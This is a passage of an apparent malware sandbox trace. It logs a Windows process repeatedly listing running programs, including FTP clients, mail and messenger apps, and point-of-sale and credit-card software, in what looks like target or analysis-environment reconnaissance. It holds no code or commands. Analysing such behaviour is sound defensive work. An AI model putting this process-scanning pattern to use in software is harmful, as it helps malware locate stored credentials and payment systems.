th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.296] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.299] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0241.303] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0241.306] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0241.309] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0241.311] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0241.314] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0241.318] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0241.320] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0241.322] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0241.325] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0241.327] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0241.329] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0241.331] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0241.334] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0241.336] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0241.338] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0241.341] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0241.343] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0241.347] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0241.351] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0241.354] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0241.356] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0241.359] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0241.434] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0241.439] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0241.444] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0241.448] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0241.450] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0241.454] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0241.458] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0241.460] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0241.468] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0241.471] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0241.473] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0241.476] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0241.480] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0241.483] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0241.485] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0241.487] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0241.490] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0241.492] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0241.493] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0241.495] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0241.499] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0241.502] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0241.504] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0241.506] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0241.508] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0241.510] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0241.512] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0241.514] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0241.516] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0241.519] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0241.521] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0241.523] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0241.525] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0241.528] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0241.532] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0241.534] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0241.537] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0241.541] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0241.543] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0241.545] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0241.547] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0241.549] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0241.550] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0241.552] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0241.554] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0241.556] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0241.557] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0241.559] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0241.561] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 0 [0241.717] CloseHandle (hObject=0x21ec) returned 1 [0241.717] Sleep (dwMilliseconds=0x64) [0241.718] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21ec [0241.731] Process32First (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.733] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.735] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0241.737] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.739] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0241.740] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0241.743] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0241.745] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0241.747] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0241.749] Process32Next (in: hSnapshot=0x21ec, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, 